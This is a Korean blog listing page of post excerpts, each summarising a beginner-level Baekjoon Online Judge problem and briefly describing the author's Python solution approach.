[백준/BOJ] 2752번 세 수 정렬 [내부링크]

백준 온라인 저지 2752번 세 수 정렬https://www.acmicpc.net/problem/2752문제동규는 세수를 하다가 정렬이 하고싶어졌다.숫자 세 개를 생각한 뒤에, 이를 오름차순으로 정렬하고 싶어 졌다.숫자 세 개가 주어졌을 때, 가장 작은 수, 그 다음 수, 가장 큰 수를 출력하는 프로그램을 작성하시오.풀이처음에는 str 타입으로 정렬을 해서 입력 값이 &#x27;11 7 4&#x27; 인 경우 정렬이 안 되는 경우가 발생해 int 타입으로 정렬한 후 다시 str 타입으로 변환하여 정렬된 리스트를 출력하였다.

[백준/BOJ] 10953번 A+B - 6 [내부링크]

백준 온라인 저지 10953번 A+B - 6https://www.acmicpc.net/problem/10953문제두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오.풀이문자열 split() 함수를 통해 , 를 기준으로 양 쪽의 수를 분리해서 더한 다음 리스트에 넣고 출력하였다.

[백준/BOJ] 3460번 이진수 [내부링크]

백준 온라인 저지 3460번 이진수https://www.acmicpc.net/problem/3460문제양의 정수 n이 주어졌을 때, 이를 이진수로 나타냈을 때 1의 위치를 모두 찾는 프로그램을 작성하시오. 최하위 비트(least significant bit, lsb)의 위치는 0이다.첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있고, n이 주어진다. (1 ≤ T ≤ 10, 1 ≤ n ≤ 106)풀이이진수로 나타 냈을 때 1의 위치를 찾아야 한다.13 &#x3D;&#62; 1101 에서 0의 위치는 오른쪽 부터 시작해 0 2 3 이다.1번 부분에서 데이터 처리를 조금 쉽게 하기 위해 입력 값 13을 이진수로 변환하고 앞에 있는 &#x27;0b&#x27; 문자열을 제거한 후.......

[백준/BOJ] 16170번 오늘의 날짜는? [내부링크]

백준 온라인 저지 16170번 오늘의 날짜는?https://www.acmicpc.net/problem/16170문제2018 SCAL-MOOKJA에 출전하기로 한 무근이와 인서는 대회 준비를 위해 같이 모여 문제를 풀기로 했다.그런데 어느 날, 일어나서 날짜를 확인해 보니 무근이와 인서의 시계가 서로 다른 날짜를 가리키고 있었다. 두 사람이 정확한 날짜에 모일 수 있도록 문제를 푸는 지금 시각이 UTC+0(세계 표준시)을 기준으로 무슨 날짜인지 출력해 주는 프로그램을 작성하자.만약 서울에서 확인한 시각이 2018년 9월 29일 오후 2시 정각이라면 UTC+0 기준의 시각은 2018년 9월 29일 오전 5시 정각이다.풀이문제의 요지는 현재 년도, 월, 일을 출력하라는 것인데 주.......

[백준/BOJ] 3003번 킹, 퀸, 룩, 비숍, 나이트, 폰 [내부링크]

백준 온라인 저지 3003번 킹, 퀸, 룩, 비숍, 나이트, 폰https://www.acmicpc.net/problem/3003문제동혁이는 오래된 창고를 뒤지다가 낡은 체스판과 피스를 발견했다.체스판의 먼지를 털어내고 걸레로 닦으니 그럭저럭 쓸만한 체스판이 되었다. 하지만, 검정색 피스는 모두 있었으나, 흰색 피스는 개수가 올바르지 않았다.체스는 총 16개의 피스를 사용하며, 킹 1개, 퀸 1개, 룩 2개, 비숍 2개, 나이트 2개, 폰 8개로 구성되어 있다.동혁이가 발견한 흰색 피스의 개수가 주어졌을 때, 몇 개를 더하거나 빼야 올바른 세트가 되는지 구하는 프로그램을 작성하시오.풀이체스가 1, 1, 2, 2, 2, 8개로 구성(고정 값)되어 있으므로, 예시) 0, 1,.......

[백준/BOJ] 2755번 이번학기 평점은 몇점? [내부링크]

백준 온라인 저지 2755번 이번학기 평점은 몇점?https://www.acmicpc.net/problem/2755문제최백준이 이번 학기에 들은 과목과 학점 그리고 성적이 주어졌을 때, 평균 평점을 계산하는 프로그램을 작성하시오.성적은 A+~F까지 총 13개가 있다.A+: 4.3, A0: 4.0, A-: 3.7B+: 3.3, B0: 3.0, B-: 2.7C+: 2.3, C0: 2.0, C-: 1.7D+: 1.3, D0: 1.0, D-: 0.7F: 0.0평균 평점은 각 과목의 학점*성적을 모두 더한 뒤에, 총 학점으로 나누면 된다.풀이문자열(&#x27;A+&#x27;, &#x27;A0&#x27;, &#x27;A-&#x27; ... ) 학점을 인자로 넣으면 학점(int)을 반환하는 함수를 하나 만들었고, 1줄씩 입력 받은 과목명, 학점, 등급을 슬라이싱하여 풀이하면 된.......

[백준/BOJ] 1212번 8진수 2진수 [내부링크]

백준 온라인 저지 1212번 8진수 2진수https://www.acmicpc.net/problem/1212문제8진수가 주어졌을 때, 2진수로 변환하는 프로그램을 작성하시오.첫째 줄에 주어진 수를 2진수로 변환하여 출력한다. 수가 0인 경우를 제외하고는 반드시 1로 시작해야 한다.풀이처음 문제 풀고 시간 초과로 인해 틀리고 나서 반복문도 2개 가량 지우고, 코드를 조금 압축 했다.리스트, 문자열 관련 파이썬 내장 함수들을 제일 많이 써본 것 같다. (물론, 나만 그럴 수도 있다. 아직 실력이 부족하기 때문)문제 자체는 쉽다.ex) 314문자열을 한 개씩 불러와서 2진수로 변환하고 앞에 있는 0b를 슬라이싱 했다.그리고 3 -&#62; 11이지만 011로 표현해야.......

[백준/BOJ] 2744번 대소문자 바꾸기 [내부링크]

백준 온라인 저지 2744번 대소문자 바꾸기https://www.acmicpc.net/problem/2744문제영어 소문자와 대문자로 이루어진 단어를 입력받은 뒤, 대문자는 소문자로, 소문자는 대문자로 바꾸어 출력하는 프로그램을 작성하시오.풀이소문자와 대문자 구별은 아스키 코드를 이용했다. 65~ 90 (대문자), 97 ~ 122 (소문자)아스키를 이용하면 쉽게 풀이할 수 있다.

[백준/BOJ] 9085번 더하기 [내부링크]

백준 온라인 저지 9085번 더하기https://www.acmicpc.net/problem/9085문제10보다 작거나 같은 자연수 N개를 주면 합을 구하는 프로그램을 작성하시오.입력의 첫 줄에는 테스트 케이스의 개수 T(1 ≤ T ≤ 10)가 주어진다. 각 테스트 케이스는 첫 줄에 자연수의 개수 N(1 ≤ N ≤ 100)이 주어지고, 그 다음 줄에는 N개의 자연수가 주어진다. 각각의 자연수 사이에는 하나씩의 공백이 있다.풀이테스트 케이스가 예) 5 / 1 1 1 1 1 이런 형태로 주어지는데 사실 상 주어지는 자연수의 개수는 필요가 없다. 합만 구하면 되기 때문.1 1 1 1 1, 1 2 3 4 5 6 7 이런 형태로 주어지는 문자열만 잘 처리해서 리스트에 넣고 두 번째 반복문에서.......

[백준/BOJ] 3053번 택시 기하학 [내부링크]

백준 온라인 저지 3053번 택시 기하학https://www.acmicpc.net/problem/3053문제19세기 독일 수학자 헤르만 민코프스키는 비유클리드 기하학 중 택시 기하학을 고안했다.택시 기하학에서 두 점 T1(x1,y1), T2(x2,y2) 사이의 거리는 다음과 같이 구할 수 있다.D(T1,T2) &#x3D; |x1-x2| + |y1-y2|두 점 사이의 거리를 제외한 나머지 정의는 유클리드 기하학에서의 정의와 같다.따라서 택시 기하학에서 원의 정의는 유클리드 기하학에서 원의 정의와 같다.원: 평면 상의 어떤 점에서 거리가 일정한 점들의 집합반지름 R이 주어졌을 때, 유클리드 기하학에서 원의 넓이와, 택시 기하학에서 원의 넓이를 구하는 프로그램을 작성하시오.첫째 줄에.......

[백준/BOJ] 4153번 직각삼각형 [내부링크]

백준 온라인 저지 4153번 직각삼각형https://www.acmicpc.net/problem/4153문제과거 이집트인들은 각 변들의 길이가 3, 4, 5인 삼각형이 직각 삼각형인것을 알아냈다. 주어진 세변의 길이로 삼각형이 직각인지 아닌지 구분하시오.각 입력에 대해 직각 삼각형이 맞다면 &#34;right&#34;, 아니라면 &#34;wrong&#34;을 출력한다.풀이리스트 안에 있는 요소들이 string 일 때, 정수로 바꾸는 것에 대한 표현을 배웠다.. 노가다로 할려 했지만 그런 표현이 있다고 얘기는 들었다.[[&#x27;6&#x27;, &#x27;8&#x27;, &#x27;10&#x27;], ...] 이런식의 리스트를 [[6, 8, 10], ...] 이런식으로.. 반복문 3줄 나올거 1줄로 표현하는것이 정말 유.......

[백준/BOJ] 2845번 파티가 끝나고 난 뒤 [내부링크]

백준 온라인 저지 2845번 파티가 끝나고 난 뒤https://www.acmicpc.net/problem/2845문제파티가 끝나고 나면, 사람들은 누가 파티에 왔는지와 얼마나 많은 사람들이 왔는지를 궁금해한다. 보통 파티는 매우 크게 열리기 때문에, 정확하게 몇 명이 참가했는지 알 수가 없다.지난주 토요일에 상근이는 자신의 3학년 진학을 기념하면서 매우 성대한 파티를 열었다. 그리고, 상근이는 1m2당 몇 명의 사람이 있었는지 알고있다.상근이의 파티는 정말 엄청난 규모였기 때문에, 대부분의 신문에도 기사가 실렸다. 상근이는 서로 다른 5개의 신문을 보면서 그 기사에 적혀져있는 참가자의 수를 적었다.상근이는 자신이 알고있는 참가자의 수가 정확하.......

[백준/BOJ] 6679번 싱기한 네자리 숫자 [내부링크]

백준 온라인 저지 6679번 싱기한 네자리 숫자https://www.acmicpc.net/problem/6679문제싱기한 네자리 숫자란, [1000,9999]인 10진수 숫자중에서, 다음의 조건을 만족하는 숫자를 말한다.숫자를 10진수, 12진수, 16진수로 나타낸 다음, 각각의 숫자에 대해, 각 숫자의 자리수를 더했을 때, 세 값이 모두 같아야 한다.여러분은 싱기한 네자리 숫자를 모두 출력해야 한다.풀이코드의 원리는 간단하다. 기본적인 브루트 포싱인데, 1000 부터 10000 까지 반복하고첫 번째 while 문은 1000 이라는 숫자가 들어 왔을 때 10 진수로 변환하여 각 자리의 수를 더하여 v10 변수에 저장하고두 번째는 while 문은 12 진수로 변환하여 v12 에, 세 번째.......

[백준/BOJ] 2921번 도미노 [내부링크]

백준 온라인 저지 2921번 도미노https://www.acmicpc.net/problem/2921문제도미노는 여러 종류의 타일 게임에서 사용하는 조각이다. 도미노 조각은 두 칸으로 이루어져 있다. 각 칸에는 점이 찍혀있는데, 점이 안 찍혀져 있을 수도 있다. 점의 개수는 세트의 크기에 의해서 결정된다. 세트의 크기가 N인 도미노 세트에서 점의 개수는 0보다 크거나 같고, N보다 작거나 같다. 두 도미노에 찍혀잇는 점의 개수가 같다면, 두 도미노는 동일한 것이다. 예를 들어, 점이 2개와 8개 찍혀있는 도미노는 8개와 2개 찍혀있는 도미노와 같은 도미노이다.크기가 N인 도미노 세트는 N 또는 그보다 작거나 같은 점을 포함하는 가능한 도미노를 모두 포함하.......

[백준/BOJ] 11006번 남욱이의 닭장 [내부링크]

백준 온라인 저지 11006번 남욱이의 닭장https://www.acmicpc.net/problem/11006문제계란집을 운영하는 남욱이는 매일 닭장에서 달걀을 수거해간다. 어느 날 닭장에 들어가보니 일부 닭의 다리가 하나씩 사라졌다. 남욱이는 얼마나 많은 닭들이 한 다리를 잃었는지 알고싶었지만 닭이 너무 많아 셀 수 없었고, 대신 모든 닭의 다리수를 셌다. 고민하는 남욱이를 위해 모든 닭의 다리수의 합과 닭의 수를 가지고 이것을 해결해주자.테스트 케이스마다 한줄에 다리가 잘린 닭의 수 U와 멀쩡한 닭의 수 T를 공백을 간격으로 출력한다.풀이처음에 입력 받은 데이터는 lst[] 로 관리.다리가 잘린 닭의 수는 lstu[] 로 관리.멀쩡한 닭의 수는.......

[백준/BOJ] 9550번 아이들은 사탕을 좋아해 [내부링크]

백준 온라인 저지 9550번 아이들은 사탕을 좋아해https://www.acmicpc.net/problem/9550문제승택이의 아들이 생일을 맞았다. 승택이는 아들을 위해 생일 파티를 하려고 한다.하지만 아들의 친구들을 모두 초대할 수는 없다. 아이들에게 나눠 줄 사탕이 부족하기 때문이다.아이들은 항상 한 종류의 사탕만을 먹고 싶어한다. 게다가, 한 종류의 사탕을 최소한 K개 이상 먹어야만 행복해한다.K가 주어지고 승택이가 현재 갖고 있는 사탕의 종류와 개수가 주어진다. 이때, 생일파티에 올 수 있는 아이들은 최대 몇 명일까?첫 줄에 테스트 케이스의 수 T가 주어진다. ( 1 ≤ T ≤ 100 )각 테스트 케이스의 첫 줄엔 승택이가 갖고 있는 사탕의 종.......

[백준/BOJ] 10809번 알파벳 찾기 [내부링크]

백준 온라인 저지 10809번 알파벳 찾기https://www.acmicpc.net/problem/10809문제알파벳 소문자로만 이루어진 단어 S가 주어진다. 각각의 알파벳에 대해서, 단어에 포함되어 있는 경우에는 처음 등장하는 위치를, 포함되어 있지 않은 경우에는 -1을 출력하는 프로그램을 작성하시오.각각의 알파벳에 대해서, a가 처음 등장하는 위치, b가 처음 등장하는 위치, ... z가 처음 등장하는 위치를 공백으로 구분해서 출력한다.만약, 어떤 알파벳이 단어에 포함되어 있지 않다면 -1을 출력한다. 단어의 첫 번째 글자는 0번째 위치이고, 두 번째 글자는 1번째 위치이다.풀이&#34;모든 알파벳이 단어에 포함되어 있지 않다&#34; 라는 베이스.......

[백준/BOJ] 1834번 나머지와 몫이 같은 수 [내부링크]

백준 온라인 저지 1834번 나머지와 몫이 같은 수https://www.acmicpc.net/problem/1834문제N으로 나누었을 때 나머지와 몫이 같은 모든 자연수의 합을 구하는 프로그램을 작성하시오. 예를 들어 N&#x3D;3일 때, 나머지와 몫이 모두 같은 자연수는 4와 8 두 개가 있으므로, 그 합은 12이다.풀이N &#x3D; 3 일 때,3 * 몫 + 나머지 &#x3D; 나머지와 몫이 같은 자연수 1 1 &#x3D; 4 2 2 &#x3D; 8 3 3 &#x3D; 12 (나머지가 3은 나머지가 없는 것)여기서 규칙을 구할 수 있다.N이 3인 경우 몫과 나머지가 2까지만 대입하면 되고, 4인 경우는 3까지, 10인 경우는 9까지 이다. 그런 메커니즘으로 알고리즘을 짜면 된다.

[백준/BOJ] 10569번 다면체 [내부링크]

백준 온라인 저지 10569번 다면체https://www.acmicpc.net/problem/10569문제수학자가 구를 깎아서 볼록다면체를 만들었다. 이 수학자는 임의의 볼록다면체에 대해 (꼭짓점의 수) - (모서리의 수) + (면의 수) &#x3D; 2가 성립한다는 것을 알고 있다. 그래서 구를 깎는 게 취미인 이 사람은 꼭짓점, 모서리와 면의 수를 기록할 때 꼭짓점과 모서리의 수만 세고 면의 수는 세지 않는다.첫 번째 줄에 1 이상 100 이하의 자연수 T가 주어진다.다음 T개의 줄에 4 이상 100 이하의 자연수 V와 E가 공백을 사이에 두고 주어진다. V와 E는 각각 꼭짓점의 개수와 모서리의 개수이다.풀이면의 개수를 출력하는 문제이다.&#34;면의 수 &#x3D; 2 - .......

[백준/BOJ] 2355번 시그마 [내부링크]

백준 온라인 저지 2355번 시그마https://www.acmicpc.net/problem/2355문제두 정수 A와 B가 주어졌을 때, 두 정수 사이에 있는 수의 합을 구하는 프로그램을 작성하시오. 사이에 있는 수들은 A와 B도 포함한다.첫째 줄에 두 정수 A, B가 주어진다. (-2,147,483,648 ≤ A, B ≤ 2,147,483,647)첫째 줄에 답을 출력한다. (-2,147,483,648 ≤ 답 ≤ 2,147,483,647)풀이숫자 A에서 B까지의 합을 구하라는 문제이다. 문제는 간단하지만 시간 제한이 걸려 있어, 여러번의 반복 구문을 도는 경우 시간 초과 메시지를 받을 가능성이 높다.1부터 10까지의 수를 더하는 방법은 1, 2, 3, 4, 5 ... 10까지 더하는 방법도 있지만, (1+10) * 5 라는 방.......

[백준/BOJ] 2903번 중앙 이동 알고리즘 [내부링크]

백준 온라인 저지 2903번 중앙 이동 알고리즘https://www.acmicpc.net/problem/2903문제상근이는 친구들과 함께 SF영화를 찍으려고 한다. 이 영화는 외계 지형이 필요하다. 실제로 우주선을 타고 외계 행성에 가서 촬영을 할 수 없기 때문에, 컴퓨터 그래픽으로 CG처리를 하려고 한다.외계 지형은 중앙 이동 알고리즘을 이용해서 만들려고 한다.알고리즘을 시작하면서 상근이는 정사각형을 이루는 점 4개를 고른다. 그 후에는 다음과 같은 과정을 거쳐서 지형을 만든다.정사각형의 각 변의 중앙에 점을 하나 추가한다.정사각형의 중심에 점을 하나 추가한다.첫 단계에서 위와 같은 과정을 한 번 거치면 총 4개의 정사각형이 새로 생긴다. 이.......

[백준/BOJ] 2864번 5와 6의 차이 [내부링크]

백준 온라인 저지 2864번 5와 6의 차이https://www.acmicpc.net/problem/2864문제상근이는 2863번에서 표를 너무 열심히 돌린 나머지 5와 6을 헷갈리기 시작했다.상근이가 숫자 5를 볼 때, 5로 볼 때도 있지만, 6으로 잘못 볼 수도 있고, 6을 볼 때는, 6으로 볼 때도 있지만, 5로 잘못 볼 수도 있다.두 수 A와 B가 주어졌을 때, 상근이는 이 두 수를 더하려고 한다. 이때, 상근이가 구할 수 있는 두 수의 가능한 합 중, 최솟값과 최댓값을 구해 출력하는 프로그램을 작성하시오.풀이최솟값 : 모든 6을 전부 다 5로 판단했을 때최댓값 : 모든 5를 전부 다 6으로 판단했을 때replace() 함수 이용하여 치환 후 각각의 값을 출력해주면 된다.......

[백준/BOJ] 4504번 배수 찾기 [내부링크]

백준 온라인 저지 4504번 배수 찾기https://www.acmicpc.net/problem/4504문제정수 n(0 &#60; n &#60; 1000)과 수의 목록이 주어졌을 때, 목록에 들어있는 수가 n의 배수인지 아닌지를 구하는 프로그램을 작성하시오.첫째 줄에 n이 주어진다. 다음 줄부터 한 줄에 한 개씩 목록에 들어있는 수가 주어진다. 이 수는 0보다 크고, 10,000보다 작다. 목록은 0으로 끝난다.풀이배수인지 아닌지 판별할 수 있는 것은 % 기호로 가능하다. 나머지가 0 이면 배수, 나머지가 0 이 아니면 배수가 아니다. 이것을 바탕으로 조건식을 세우고 0 이 입력 되었을 때의 처리만 해주면 끝이다.

[백준/BOJ] 1964번 오각형, 오각형, 오각형... [내부링크]

백준 온라인 저지 1964번 오각형, 오각형, 오각형...https://www.acmicpc.net/problem/1964문제오각형의 각 변에 아래 그림과 같이 점을 찍어 나간다. N단계에서 점의 개수는 모두 몇 개일까?첫째 줄에 N단계에서 점의 개수를 45678로 나눈 나머지를 출력한다.풀이1단계는 점 5개, 2단계는 점 12개, 3단계는 점 22개 ... 보통 이런 수열 문제는 규칙이 있다.5 - (7) - 12 - (10) - 22 - (13) - 351, 2, 3, 4 단계에서의 점의 개수와 각 단계 별 차이를 나타낸 것이다. 각 단계 별 차이가 3씩 증가하고 있다. 이는 계차 수열이다. 계차 수열의 일반항을 구해 for 문 안에 넣고 돌리기만 해도 원하는 값을 출력하는 데 문제가 없다.

[백준/BOJ] 2914번 저작권 [내부링크]

백준 온라인 저지 2914번 저작권https://www.acmicpc.net/problem/2914문제창영이는 노래 여러 개를 이어서 부르는 가수이다. 유명한 노래의 비슷한 멜로디를 이어서 부르면서 언제 곡이 넘어갔는지 모르게 만드는 것이 창영이 노래의 특징이다. 이런 노래로 상업적으로 엄청난 성공을 거둔 창영이에게 큰 시련이 찾아왔다. 그것은 바로 저작권이었다.창영이의 노래에 포함되어 있는 멜로디는 모두 저작권이 다른 사람에게 있는 노래이다. 따라서, 이 음악으로 상업적인 활동을 했기 때문에, 저작권 협회에 저작권료를 내야한다.창영이는 자신의 앨범에 포함되어있는 저작권이 있는 멜로디의 평균값을 구해보기로 했다. 이 값은 아래와 같이.......

[백준/BOJ] 2965번 캥거루 세마리 [내부링크]

백준 온라인 저지 2965번 캥거루 세마리https://www.acmicpc.net/problem/2965문제캥거루 세 마리가 사막에서 놀고 있다. 사막에는 수직선이 하나 있고, 캥거루는 서로 다른 한 좌표 위에 있다.한 번 움직일 때, 바깥쪽의 두 캥거루 중 한 마리가 다른 두 캥거루 사이의 정수 좌표로 점프한다. 한 좌표 위에 있는 캥거루가 두 마리 이상일 수는 없다.캥거루는 최대 몇 번 움직일 수 있을까?풀이수학 분류의 문제들 같은 경우에는 문제를 이해하고 여러 사례를 통해 문제의 메커니즘을 이해하는 것이 중요하다.문제의 예시 입력에서는 3 5 9 가 있었다. 결과는 3 이었다. 최대로 움직일 수 있는 횟수를 구하는 것이다.&#x27;9&#x27;에 있.......

[백준/BOJ] 5596번 시험 점수 [내부링크]

백준 온라인 저지 5596번 시험 점수https://www.acmicpc.net/problem/5596문제대한고등학교에 재학 중인 민국이와 만세는 4과목(정보, 수학, 과학, 영어)에 대한 시험을 봤습니다. 민국이와 만세가 본 4과목의 점수를 입력하면, 민국이의 총점 S와 만세의 총점 T 중에서 큰 점수를 출력하는 프로그램을 작성하세요. 다만, 서로 동점일 때는 민국이의 총점 S를 출력하세요.풀이풀이 특별한게 없다. 한 줄씩 쓱 더하고 둘이 비교해서 총점 출력하는 것 밖에 없음.

[백준/BOJ] 11718번 그대로 출력하기 [내부링크]

백준 온라인 저지 11718번 그대로 출력하기https://www.acmicpc.net/problem/11718문제입력 받은 대로 출력하는 프로그램을 작성하시오.입력이 주어진다. 입력은 최대 100줄로 이루어져 있고, 알파벳 소문자, 대문자, 공백, 숫자로만 이루어져 있다. 각 줄은 100글자를 넘지 않으며, 빈 줄은 주어지지 않는다. 또, 각 줄은 공백으로 시작하지 않고, 공백으로 끝나지 않는다.풀이문제는 딱 봐도 쉬워 보이길래 왜 정답률은 25%지? 하는 생각이 들었다. 그런데 나도 3번 틀렸다 ㅋㅋ. 코드가 틀린건 아닌데 런타임 에러 때문에 애먹었다. 파이썬의 예외 처리 try ~ catch 구문 사용하면 에러 뜰 일 없이 편하다.EOFError는 End Of File 의.......

[백준/BOJ] 3034번 앵그리 창영 [내부링크]

백준 온라인 저지 3034번 앵그리 창영https://www.acmicpc.net/problem/3034문제창영이는 화가나서 성냥을 바닥에 던졌다.상근이는 바닥이 더러워진 것을 보고 창영이를 매우 혼냈다.강산이는 근처에서 박스를 발견했다.상덕이는 강산이가 발견한 박스를 상근이에게 주었다.상근이는 박스에 던진 성냥을 모두 담아오라고 시켰다.하지만, 박스에 들어가지 않는 성냥도 있다.이런 성냥은 박스에 담지 않고 희원이에게 줄 것이다.성냥이 박스에 들어가려면, 박스의 밑면에 성냥이 모두 닿아야 한다.박스의 크기와 성냥의 길이가 주어졌을 때, 성냥이 박스에 들어갈 수 있는지 없는지를 구하는 프로그램을 작성하시오. 창영이는 성냥을 하나씩 검.......

[백준/BOJ] 5576번 콘테스트 [내부링크]

백준 온라인 저지 5576번 콘테스트https://www.acmicpc.net/problem/5576문제최근 온라인에서의 프로그래밍 콘테스트가 열렸다. W 대학과 K 대학의 컴퓨터 클럽은 이전부터 라이벌 관계에있어,이 콘테스트를 이용하여 양자의 우열을 정하자라는 것이되었다.이번이 두 대학에서 모두 10 명씩이 콘테스트에 참여했다. 긴 논의 끝에 참가한 10 명 중 득점이 높은 사람에서 3 명의 점수를 합산하여 대학의 득점으로하기로 했다.W 대학 및 K 대학 참가자의 점수 데이터가 주어진다. 이때, 각각의 대학의 점수를 계산하는 프로그램을 작성하라.풀이w 대학 점수 리스트에는 0 ~ 9까지 k 대학 점수 리스트에는 10 ~ 19까지 넣고, 각각 정렬하고나.......

[백준/BOJ] 5533번 유니크 [내부링크]

백준 온라인 저지 5533번 유니크https://www.acmicpc.net/problem/5533문제상근이와 친구들은 MT에 가서 아래 설명과 같이 재미있는 게임을 할 것이다.각 플레이어는 1이상 100 이하의 정수를 카드에 적어 제출한다. 각 플레이어는 자신과 같은 수를 쓴 사람이 없다면, 자신이 쓴 수와 같은 점수를 얻는다. 만약, 같은 수를 쓴 다른 사람이 있는 경우에는 점수를 얻을 수 없다.상근이와 친구들은 이 게임을 3번 했다. 각 플레이어가 각각 쓴 수가 주어졌을 때, 3번 게임에서 얻은 총 점수를 구하는 프로그램을 작성하시오.풀이문제는 쉬운데 영문을 모를 런타임 에러가 자꾸 떠가지고 생각보다 오래 걸렸다.5명이 쓴 정수를 lst[]에 리스.......

[백준/BOJ] 5575번 타임 카드 [내부링크]

백준 온라인 저지 5575번 타임 카드https://www.acmicpc.net/problem/5575문제JOI 상사는 직원의 근무시간을 타임 카드로 관리하고있다. 직원들은 전용 장비를 사용하여 타임 카드에 출근 시간을 기록한다. 근무를 마치고 퇴근할 때도 타임 카드에 퇴근 시간을 기록한다. 타임카드에서 사용하는 시간단위는 24 시간제를 사용한다.보안상의 이유로 직원들의 출근 시간은 7시 이후이다. 또한, 모든 직원은 23시 이전에 퇴근한다. 직원의 퇴근 시간은 항상 출근 시간보다 늦다.입력으로 JOI 상사의 3 명의 직원 A 씨, B 씨, C 씨의 출근 시간과 퇴근 시간이 주어 졌을 때 각 직원의 근무시간을 계산하는 프로그램을 작성하라.풀이어차피 12시.......

[백준/BOJ] 2163번 초콜릿 자르기 [내부링크]

백준 온라인 저지 2163번 초콜릿 자르기https://www.acmicpc.net/problem/2163문제정화는 N×M 크기의 초콜릿을 하나 가지고 있다. 초콜릿은 금이 가 있는 모양을 하고 있으며, 그 금에 의해 N×M개의 조각으로 나눠질 수 있다.초콜릿의 크기가 너무 크다고 생각한 그녀는 초콜릿을 친구들과 나눠 먹기로 했다. 이를 위해서 정화는 초콜릿을 계속 쪼개서 총 N×M개의 조각으로 쪼개려고 한다. 초콜릿을 쪼갤 때에는 초콜릿 조각을 하나 들고, 적당한 위치에서 초콜릿을 쪼갠다. 초콜릿을 쪼갤 때에는 금이 가 있는 위치에서만 쪼갤 수 있다. 이와 같이 초콜릿을 쪼개면 초콜릿은 두 개의 조각으로 나눠지게 된다. 이제 다시 이 중에서 초콜릿 조.......

[백준/BOJ] 1085번 직사각형에서 탈출 [내부링크]

백준 온라인 저지 1085번 직사각형에서 탈출https://www.acmicpc.net/problem/1085문제한수는 지금 (x, y)에 있다. 직사각형의 왼쪽 아래 꼭짓점은 (0, 0)에 있고, 오른쪽 위 꼭짓점은 (w, h)에 있다. 직사각형의 경계선까지 가는 거리의 최솟값을 구하는 프로그램을 작성하시오.풀이이게 문제를 제대로 이해하고 있어야 한번에 풀 수 있다. x축과 y축 역시 직사각형의 가로 세로인 경계선에 포함되기 때문에 그 곳까지의 거리도 최솟값을 비교할 때 넣어야 한다.v1, v2, v3, v4에 한수의 위치인 (x, y) 좌표부터 동, 서, 남, 북으로 경계선이 만나는 지점까지의 거리를 넣었고 정렬한 후 첫 번째 인덱스를 출력하였다.

[백준/BOJ] 17295번 엔드게임 스포일러 [내부링크]

백준 17295번 엔드게임 스포일러https://www.acmicpc.net/problem/17295문제《어벤져스: 엔드게임》(영어: Avengers: Endgame)은 2019년 개봉한 미국의 슈퍼히어로 영화로, 마블 코믹스의 동명 팀을 원작으로 하고 있으며, 마블 스튜디오가 제작하고, 월트 디즈니 스튜디오스 모션 픽처스가 배급하였다. 이 영화는 2012년 영화 어벤져스와, 2015년 영화 어벤져스: 에이지 오브 울트론, 2018년 영화 어벤져스: 인피니티 워의 속편이자, 마블 시네마틱 유니버스 (MCU)의 22번째 작품에 해당한다. 앤서니 루소와 조 루소가 감독하고 크리스토퍼 마커스와 스티븐 맥필리가 공동으로 각본을 썼으며, 이전의 MCU 영화에보다도 많은 배우와 앙상블 캐.......

[백준/BOJ] 3046번 R2 [내부링크]

백준 온라인 저지 3046번 R2https://www.acmicpc.net/problem/3046문제두 숫자 R1과 R2가 있을 때, 두 수의 평균 S는 (R1+R2)/2와 같다. 상근이는 정인이 생일 선물로 두 숫자 R1과 R2를 주려고 한다. 생일 파티에서 상근이는 정인이에게 이 두 숫자를 말해주고, 정인이는 이 숫자를 받아 적는다. 그리고 나서 기쁜 마음으로 1년동안 이 숫자를 외우면서 산다.상근이는 R1과 R2를 엄청난 고민 끝에 정했다. 작년에는 R1과 R2를 까먹어서 아무 숫자나 정해서 주었기 때문에, 올해는 까먹지 않기 위해서 평균 S도 같이 기억하려고 한다.오늘은 정인이 생일이다. 5분 후에 상근이는 생일 선물로 두 숫자 R1과 R2를 말해주어야 하지만, 안타깝게.......

[백준/BOJ] 5554번 심부름 가는 길 [내부링크]

백준 온라인 저지 5554번 심부름 가는 길https://www.acmicpc.net/problem/5554문제승균이는 매일 학교, PC방, 학원에 다닌다. 반복되는 일상에 익숙해진 승균이는 이동시간을 단축해서 PC방에 더 오래 머물고 싶었다. 그래서 스톱워치를 들고 이동할 때마다 기록을 잰 후 집에 가서 분석해보기로 했다.집에 도착한 승균이는 측정한 결과를 보는 데, 전부 초 단위로 기록되어있다! 맨날 놀기만 해서 총 이동 시간이 몇 분 몇 초인지 계산을 못 하는 승균이를 도와주자.하루 동안 측정한 결과가 주어지면, 이날의 총 이동 시간이 몇 분 몇 초인지 출력하는 프로그램을 작성하시오.입력은 총 4줄이며, 한 줄에 하나씩 양의 정수가 적혀있다.첫.......

[백준/BOJ] 5532번 방학 숙제 [내부링크]

백준 온라인 저지 5532번 방학 숙제https://www.acmicpc.net/problem/5532문제상근이는 초등학교에 다...

[백준/BOJ] 5063번 TGN [내부링크]

백준 온라인 저지 5063번 TGNhttps://www.acmicpc.net/problem/5063문제상근이는 TGN사의 사장이...

[백준/BOJ] 5597번 과제 안 내신 분..? [내부링크]

백준 온라인 저지 5597번 과제 안 내신 분..?https://www.acmicpc.net/problem/5597문제X대학 M교수...

[백준/BOJ] 10886번 0 = not cute / 1 = cute [내부링크]

백준 온라인 저지 10886번 0 &#x3D; not cute / 1 &#x3D; cutehttps://www.acmicpc.net/problem/10886...

[백준/BOJ] 10797번 10부제 [내부링크]

백준 온라인 저지 10797번 10부제https://www.acmicpc.net/problem/10797문제서울시는 6월 1일부터 교...

[백준/BOJ] 5565번 영수증 [내부링크]

백준 온라인 저지 5565번 영수증https://www.acmicpc.net/problem/5565문제새 학기를 맞아 상근이는 책...

[백준/BOJ] 5543번 상근날드 [내부링크]

백준 온라인 저지 5543번 상근날드https://www.acmicpc.net/problem/5543문제상근날드에서 가장 잘 팔...

[백준/BOJ] 2490번 윷놀이 [내부링크]

백준 온라인 저지 2490번 윷놀이https://www.acmicpc.net/problem/2490문제우리나라 고유의 윷놀이는 ...

[백준/BOJ] 10039번 평균 점수 [내부링크]

백준 온라인 저지 10039번 평균 점수https://www.acmicpc.net/problem/10039문제상현이가 가르치는 아...

[백준/BOJ] 4344번 평균은 넘겠지 [내부링크]

백준 온라인 저지 4344번 평균은 넘겠지https://www.acmicpc.net/problem/4344문제대학생 새내기들의 9...

